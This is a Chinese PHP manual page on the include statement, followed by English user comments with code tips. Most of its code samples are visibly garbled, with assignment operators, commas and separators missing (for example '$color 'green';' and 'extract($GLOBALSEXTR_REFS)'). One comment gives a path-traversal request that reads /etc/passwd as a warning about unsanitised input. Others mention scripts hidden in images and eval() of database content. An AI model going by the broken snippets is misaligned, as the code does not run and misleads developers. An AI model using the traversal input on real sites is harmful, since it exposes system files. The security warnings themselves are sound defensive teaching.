流程控制
在线手册:中文  英文

include

(PHP 4, PHP 5)

include 语句包含并运行指定文件。

以下文档也适用于 require

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

有关 PHP 怎样处理包含文件和包含路径的更多信息参见 include_path 部分的文档。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

Example #1 基本的 include 例子

vars.php
<?php

$color 
'green';
$fruit 'apple';

?>

test.php
<?php

echo "A $color $fruit"// A

include 'vars.php';

echo 
"A $color $fruit"// A green apple

?>

如果 include 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。此规则的一个例外是魔术常量,它们是在发生包含之前就已被解析器处理的。

Example #2 函数中的包含

<?php

function foo()
{
    global 
$color;

    include 
'vars.php';

    echo 
"A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
 * $fruit is NOT available outside of this  *
 * scope.  $color is because we declared it *
 * as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果“URL fopen wrappers”在 PHP 中被激活(默认配置),可以用 URL(通过 HTTP 或者其它支持的封装协议——见支持的协议和封装协议)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

Warning

Windows 版本的 PHP 在 4.3.0 版之前不支持通过此函数访问远程文件,即使已经启用 allow_url_fopen.

Example #3 通过 HTTP 进行的 include

<?php

/* This example assumes that www.example.com is configured to parse .php *
 * files and not .txt files. Also, 'Works' here means that the variables *
 * $foo and $bar are available within the included file.                 */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo 1;
$bar 2;
include 
'file.txt';  // Works.
include 'file.php';  // Works.

?>

Warning

安全警告

远程文件可能会经远程服务器处理(根据文件后缀以及远程服务器是否在运行 PHP 而定),但必须产生出一个合法的 PHP 脚本,因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果,那用 readfile() 函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

相关信息参见使用远程文件fopen()file()

处理返回值:在失败时 include 返回 FALSE 并且发出警告。成功的包含则返回 1,除非在包含文件中另外给出了返回值。可以在被包括的文件中使用 return 语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行,除非远程文件的输出具有合法的 PHP 开始和结束标记(如同任何本地文件一样)。可以在标记内定义所需的变量,该变量在文件被包含的位置之后就可用了。

因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。

Example #4 比较 include 的返回值

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo 
'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo 
'OK';
}
?>

Example #5 includereturn 语句

return.php
<?php

$var 
'PHP';

return 
$var;

?>

noreturn.php
<?php

$var 
'PHP';

?>

testreturns.php
<?php

$foo 
= include 'return.php';

echo 
$foo// prints 'PHP'

$bar = include 'noreturn.php';

echo 
$bar// prints 1

?>

$bar 的值为 1 是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了 return 而另一个没有。如果文件不能被包含,则返回 FALSE 并发出一个 E_WARNING 警告。

如果在包含文件中定义有函数,这些函数不管是在 return 之前还是之后定义的,都可以独立在主文件中使用。如果文件被包含两次,PHP 5 发出致命错误因为函数已经被定义,但是 PHP 4 不会对在 return 之后定义的函数报错。推荐使用 include_once 而不是检查文件是否已包含并在包含文件中有条件返回。

另一个将 PHP 文件“包含”到一个变量中的方法是用输出控制函数结合 include 来捕获其输出,例如:

Example #6 使用输出缓冲来将 PHP 文件包含入一个字符串

<?php
$string 
get_include_contents('somefile.php');

function 
get_include_contents($filename) {
    if (
is_file($filename)) {
        
ob_start();
        include 
$filename;
        
$contents ob_get_contents();
        
ob_end_clean();
        return 
$contents;
    }
    return 
false;
}

?>

要在脚本中自动包含文件,参见 php.ini 中的 auto_prepend_fileauto_append_file 配置选项。

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

参见 requirerequire_onceinclude_onceget_included_files()readfile()virtual()include_path


流程控制
在线手册:中文  英文

用户评论:

brett dot jr dot alton at gmail dot com (2012-08-09 16:34:32)

You need to test to see if include() is equal to 1 to see if it's successful. For some reason it tests success instead of failure.

So to test if the include failed, you need to test like this:

<?php
if ((include 'inc/db.php') !== 1)
{
    die(
'Include failed.');
}
?>

The docs say to test against 'OK', which is incorrect, as the return value is int(1);

Anon (2012-02-26 18:31:16)

I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

sPlayer (2011-03-02 09:09:59)

Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile file_get_contents('crypted.file');
//decrypt the content
$content decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>

joe dot naylor at gmail dot com (2010-10-22 14:11:57)

Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page 
$_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.

emanueledelgrande ad email dot it (2010-07-09 14:23:59)

About the problem to include a script in the global scope, after many tests with different solutions, I reached my point. I post it in the hope it may be useful.

At first I built my "globalScopeSimulator" class, but an include called inside a class is not the best solution: if it contains some user code, the user will access to the $this reserved variable and even to all the private members... Critical issue!

That's why I turned back into a function solution.

Another advantage is that I didn't have to make use of the deprecable "global" keyword, since I *imported* the global scope inside the function, with the extract() function.
Using the EXTR_REFS flag this trick does not waste memory, since the extracted variables are not a copy, but a reference to the global ones.

<?php
function global_include($script_path) {
    
// check if the file to include exists:
    
if (isset($script_path) && is_file($script_path)) {
        
// extract variables from the global scope:
        
extract($GLOBALSEXTR_REFS);
        
ob_start();
        include(
$script_path);
        return 
ob_get_clean();
    } else {
        
ob_clean();
        
trigger_error('The script to parse in the global scope was not found');
    }
}
?>

Hope it helps... :)
Cheers and happy coding!

this dot person at joaocunha dot eti dot br (2009-12-23 05:20:02)

AVOID ZERO BYTE ORDER MARK!
I was having problems with include/require (once or not). I created an include-opening.php which had the initial structure of the page, and then included this page in all other pages. The result was looking "crashed", so I did compare including or just pasting the html code into the page. The hardcoded version displayed ok, even with the source code being exactly the same.
So I opened the include file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.

randallgirard at hotmail dot com (2009-12-14 00:23:56)

Heres a nifty little include function I whipped up utilizing extract and compact to post variables to and return from an include file (great for configurations, ex: DB connection info, or whatever else you can imagine). I'm using namespaces and keeping my function/class names simple, so you can rename the function to whatever you'd like.

<?php
# include function allowing variables to be posted to and returned from the target script
    
function inc$__path$__return='.', array $__post=array() ) {
    
# post var's to the local scope
        
if ( count$__post ) )
            
extract($__postEXTR_SKIP);
    
# include the file and store the result
        
if ( $__result = include $__path ) {
        
# return requested variables from the included file
            
if ( is_array($__return) )
                
$result compact($__return);
        
# Return ALL variables defined from within the included file
        # NOTE: $__post keys are NOT included!
            
else if ( $__return == '.' )
                
$result compactarray_diffarray_keys(get_defined_vars()),
                    array(
'GLOBALS''__path''__return''__post''__result')
                    + 
array_keys($__post) ) );
        
# Is $__return a variable from the file?
            
else if ( $__return && isset($$__return) )
                
$result = array( $__return => $$__return );
            else
                
$result = array();
        
# unshift the include result into $result
            
array_unshift($result$__result);
            return 
$result;
        }
        return array(
$__result);
    }
?>

daevid at daevid dot com (2009-11-20 16:54:03)

Well now, I am confused because these pages all show them as functions:
Include(), require(), require_once(), include_once()
Yet ALL of the examples show the PEAR way:
http://pear.php.net/manual/en/standards.including.php
"Note: include_once and require_once are statements, not functions. Parentheses should not surround the subject filename."
include_once "a.php";
To change all require_once('foo.php'); to require_once 'foo.php' execute this:
cd /var/www/
find . -name '*.php' -print | xargs egrep -l \
'require_once\s*(\(.*\));'\ | xargs sed -i.sedorig -e \
's/require_once\s*(\(.*\));/require_once \1;/'
(thanks to Robert Hajime Lanning for that)
Then to remove all the ".php.sedorig" backup files execute this:
find . -name "*.php.sedorig" -type f -exec rm -rf {} \;

Chris Bell (2009-11-12 17:12:20)

A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

Anonymous (2009-11-11 11:35:05)

I was having problems when HTTP headers were being sent before I was ready. I discovered that this happened only when I was including a file at the top of my script. Since my included file only contained PHP with no whitespace outside the tags, this behavior seemed incorrect.
The editor I was using was saving the files in UTF8 format, sometimes including the redundant Byte Order Mark at the beginning of the file. Any Unicode-aware editor would implicitly hide the presence of the BOM from the user, making it hard to notice the problem. However, by using a hex editor I was able to see and remove the three bytes, restoring normal behavior.
Moral: Prevent your editor from adding an invisible Unicode Byte Order Mark to the beginning of your source code!

hyponiq at gmail dot com (2009-11-02 02:12:28)

I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot 
null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
    
$documentRoot $_SERVER['DOCUMENT_ROOT'];
    
    if (
strstr($documentRoot'/') || strstr($documentRoot'\\')) {
        if (
strstr($documentRoot'/')) {
            
$documentRoot str_replace('/'DIRECTORY_SEPARATOR$documentRoot);
        }
        elseif (
strstr($documentRoot'\\')) {
            
$documentRoot str_replace('\\'DIRECTORY_SEPARATOR$documentRoot);
        }
    }
    
    if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/'$documentRoot)) {
        
$documentRoot preg_replace('/([^\\/]{1})\\([^\\/]{1})/''\\1DIR_SEP\\2'$documentRoot);
        
$documentRoot str_replace('DIR_SEP''\\\\'$documentRoot);
    }
}
else {
    
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     * 
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     * 
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    
$directories = array(
        
'Includes'
    
);
    
    if (
defined('__DIR__')) {
        
$currentDirectory __DIR__;
    }
    else {
        
$currentDirectory dirname(__FILE__);
    }
    
    
$currentDirectory rtrim($currentDirectoryDIRECTORY_SEPARATOR);
    
$currentDirectory $currentDirectory DIRECTORY_SEPARATOR;
    
    foreach (
$directories as $directory) {
        
$currentDirectory str_replace(
            
DIRECTORY_SEPARATOR $directory DIRECTORY_SEPARATOR,
            
DIRECTORY_SEPARATOR,
            
$currentDirectory
        
);
    }
    
    
$currentDirectory rtrim($currentDirectoryDIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT'$documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT '/Path/To/File.php';
?>

Anonymous (2009-04-26 14:59:16)

Alot of people here in this section in the user contributed notes suggest using 

<?php
@include('file.php');
?>

to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.

<?php
$theme
"themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include(
'themes/'.$theme.'/index.php'))
{
  
// file was missing so include default theme 
  
require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL); 
?>

Or maybe this works better

<?php
if(file_exsists('themes/'.$theme.'/index.php'))
   include(
'themes/'.$theme.'/index.php');
else
   require(
'themes/default_theme/index.php');
?>

You decide.

johan (2008-12-10 05:47:36)

If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:

1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).

2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere. 

eg.

<?php
function nav($i){
  include 
"nav$i.php";
}

nav(1); 

// same as...
include "nav1.php";
// ...as long as variables are global
?>

So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.

snowyurik at gmail dot com (2008-11-05 22:49:17)

This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.

Wade. (2008-10-22 20:20:46)

If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.

AntonioCS at gmail dot com (2008-09-26 10:39:57)

Include and Require will call the __autoload function if the file that is being called extends some other class

Example Code:
File teste.php
<?php
class teste extends motherclass {
    public function 
__construct() {
        
parent::__construct();    
    }       
}
?>

File example.php

<?php 
require("teste.php");

if (
class_exists("motherclass"))
echo 
"It exists";

?>

You will be given the output:

It exists

I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.

example at user dot com (2008-09-21 21:33:12)

Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php 

header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include 
'/some_image.jpg';
echo 
'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

thedanevans at gmail dot com (2008-09-20 23:02:31)

Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
    index.php
    /sub_dir
        index.php
    /includes
        header.php
    /style
        main.css

where both index.php files include header.php and the header.php file includes something like:

<link rel="stylesheet" type="text/css" href="style/main.css">

This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:

<?php
    $include_dist 
substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
    
$calling_dist substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../'$calling_dist $include_dist 1)?>style/main.css">

In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.

NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0

rich dot lovely at klikzltd dot co dot uk (2008-07-17 13:20:42)

I needed a way of include()ing a php page from a MySQL database.  It took some work, but 
eventually I came up with this:

<?php
function include_text($text){
    while(
substr_count($text'<?php') > 0){             //loop while there's code in $text
        
list($html$text) = explode('<?php'$text2); //split at first open php tag 
        
echo $html;                                      //echo text before tag
        
list($code$text) = explode('?>'$text2);    //split at closing tag
        
eval($code);                                     //exec code (between tags)
    
}
    echo 
$text;                                          //echo whatever is left
}
?>

It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather 
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function. 

Not sure whether it would work with something like:

<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ 
?>
<p>Other HTML Output</p>
...
...
<?php ?>

I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:

<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<
EOT 
<p>Other HTML Output</p>
...
...
EOT;
?>

Which would work with include_text()

It also won't work as-is with either asp-style or short tags.

huuanito (2008-06-25 10:34:33)

When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that

they have different variable scope

and the same session will not be seen from both included files. The original session won't be seen from the url included file.

So:

main script:
<?php
session_start
();
$_SESSION['count'] = 234;

echo 
"sid from script1".session_id();
include 
"/var/www/htdocs/file1";
include 
"http://yoursite/file2";
?>

file1
<?php
echo " **sid from file1: ".session_id();
echo 
" count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count

but file2
<?php
echo " **sid from file2: ".session_id();
echo 
" count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.

g4wx3 (2008-06-25 06:52:25)

Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS; 
just use it:

<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function

ricardo dot ferro at gmail dot com (2008-05-14 11:14:32)

Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (
func_get_args() AS $path)
    {
        if (!
file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            
trigger_error("Include path '{$path}' not exists"E_USER_WARNING);
            continue;
        }
        
        
$paths explode(PATH_SEPARATORget_include_path());
        
        if (
array_search($path$paths) === false)
            
array_push($paths$path);
        
        
set_include_path(implode(PATH_SEPARATOR$paths));
    }
}

function 
remove_include_path ($path)
{
    foreach (
func_get_args() AS $path)
    {
        
$paths explode(PATH_SEPARATORget_include_path());
        
        if ((
$k array_search($path$paths)) !== false)
            unset(
$paths[$k]);
        else
            continue;
        
        if (!
count($paths))
        {
            
trigger_error("Include path '{$path}' can not be removed because it is the only"E_USER_NOTICE);
            continue;
        }
        
        
set_include_path(implode(PATH_SEPARATOR$paths));
    }
}

?>

fernandoleal at drakecall dot com (2008-05-12 10:55:45)

Like the manual says the includes gets all function and variable on global scope that 
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors. 
This also applies to include_once, require and require_once. 
Example
“index.php”
<?php  
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>

Rick Garcia (2008-05-08 09:38:02)

As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR 'downloads/');
define('LIB_DIR',MAINDIR 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

uramihsayibok, gmail, com (2008-02-24 17:28:38)

I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
        
include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.

slush puppie (2007-10-24 11:40:22)

two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.

these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...

<?php
    
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
    ## A FILE RELATIVE TO THE ROOT DIRECTORY
    ## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
    
function rinclude($path){
        
$levels substr_count($_SERVER['PHP_SELF'],'/');
        
$root '';
        for(
$i 1$i $levels$i++){$root .= '../';}
        include(
$root $path);
    }
    
    
rinclude('file.inc.php'); // in root
    
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
    
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
    ## CALLS WILL BE RELATIVE TO ROOT
    
function setinclude(){
        
$levels substr_count($_SERVER['PHP_SELF'],'/');
        
$root '';
        for(
$i 1$i $levels$i++){$root .= '../';}    
        
set_include_path($root);
    }    
    
    
setinclude();    
    include(
'file.inc.php'); // in root
    
include('dir/file.inc.phpp'); // in a subfolder
?>

sbwoodside at yahoo dot com (2007-10-07 14:19:46)

Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:

<?php set_include_pathget_include_path() . PATH_SEPARATOR $_SERVER['DOCUMENT_ROOT'] ); ?>

Now anywhere you do an include you can do something like:

<?php include ( "Templates/header.inc"?>

So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.

twolfley at gmail dot com (2007-08-30 10:37:40)

With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:

e.g.
<?php
function foo() {
  
//some long block of code here producing $bar
  
return $bar;
}
?>

can be rewritten as:
<?php
function foo() {
  return include 
"foo.php";
}
?>

where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>

The result is the function's body does not get loaded into memory until the function is actually called.

alex carstea (2007-07-26 08:07:11)

Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to : 
       "../../path/FileName.php" 
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
     
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
     
     
$relativeArray=explode("/",$relativePath);
     
$absArray=explode("/",$absPath);
     
$upTokens=0;
     
//count the number of ".." tokens that precede the path
     
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
         
$upTokens++;
     }
     
// create the absolute path     
     
$filePath=$absArray[0];
     for (
$i=1$i< (count($absArray)-$upTokens);$i++) {
         
$filePath.="/".$absArray[$i];
     }
     
     for (
$i=$upTokens$icount($relativeArray);$i++){
         
$filePath.="/".$relativeArray[$i];
     }
     return 
$filePath;
 }
?>
  Hope you will find it usefull....

  Alex

Cory Gagliardi (2007-07-25 11:22:39)

Easy way to set $_GET values for local includes.

This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.

This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>

However, this will:
<?PHP
$_GET 
= array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include(
'communities.php');
?>

Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.

php_notes (at) megaphone . ch (2007-07-20 04:28:48)

If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)
http://www.php.net/manual/en/ini.php

oasis1 at geocities dot com (2007-06-29 08:11:53)

What a pain! I have struggled with including files from various subdirectories.  My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:

<?php 

$times 
substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess "";
$i 1;

while (
$i $times) {
 
$rootaccess .= "../";
 
$i++;
}
include (
$rootaccess."foo/bar.php");

?>

This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled  through.

post-nospam at brucemiller dot co dot uk (2007-06-04 02:07:49)

A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:

<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>

This creates an include that is relative to the root rather than the current directory. 

The dot is for concatenation, not current directory, as with 'include path' syntax.

See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.

-hh- (2007-02-23 03:47:53)

coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.

mbread at m-bread dot com (2007-02-10 09:23:06)

If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

Nathan Ostgard (2007-01-19 14:32:23)

You can also use debug_backtrace to write a function that do the chdir automatically:

<?php
function include_relative($file)
{
    
$bt debug_backtrace();
    
$old getcwd();
    
chdir(dirname($bt[0]['file']));
    include(
$file);
    
chdir($old);
}
?>

anonymous (2007-01-18 13:49:15)

When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:

<?php
$wd_was 
getcwd();
chdir("/path/to/included/app");
include(
"mainfile.php");
chdir($wd_was);
?>

This way neither my includes nor theirs are affected; they all work as expected.

vahe dot ayvazyan at googlemail dot com (2007-01-10 03:12:48)

If you want the "include" function to work correctly with paths and GET parameters, try the following code:

<?php
    $_GET
['param1'] = 'param1value';
    
$_GET['param2'] = 'param2value';
    @include(
$_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php"); 
?>

Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.

I spent several hours to figure this out.

Janci (2006-11-16 07:59:58)

Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:

Example 1:
<?php
test
();

function 
test()
{
  echo 
'In test.';
}
?>

Example 2:
file1.php:
<?php
test
();

include 
'file2.php';
?>

file2.php:
<?php
function test()
{
  echo 
'In test.';
}
?>

Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.

mlindal at pfc dot forestry dot ca (2006-08-08 08:33:01)

If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

<?php
if($_SERVER[PHP_SELF]=="/newpubs.php"
    {
    
header("Location: newpubs_e.php"); 
    exit;
    } 
?>

Will send them to newpubs_e.php if they try to access newpubs.php directly.

medhefgo at googlemail dot com (2006-05-27 04:50:01)

Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename$returnpaths false) {
    
$include_paths explode(PATH_SEPARATORini_get('include_path'));

    foreach (
$include_paths as $path) {
        
$include $path.DIRECTORY_SEPARATOR.$filename;
        if (
is_file($include) && is_readable($include)) {
            if (
$returnpaths == true) {
                
$includable_paths[] = $path;
            } else {
                return 
true;
            }
        }
    }

    return (isset(
$includeable_paths) && $returnpaths == true) ? $includeable_paths false;
}

?>

cavarlier [at] hotmail [dot] com (2006-04-22 12:59:46)

please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks

stalker at ruun dot de (2006-01-10 04:55:19)

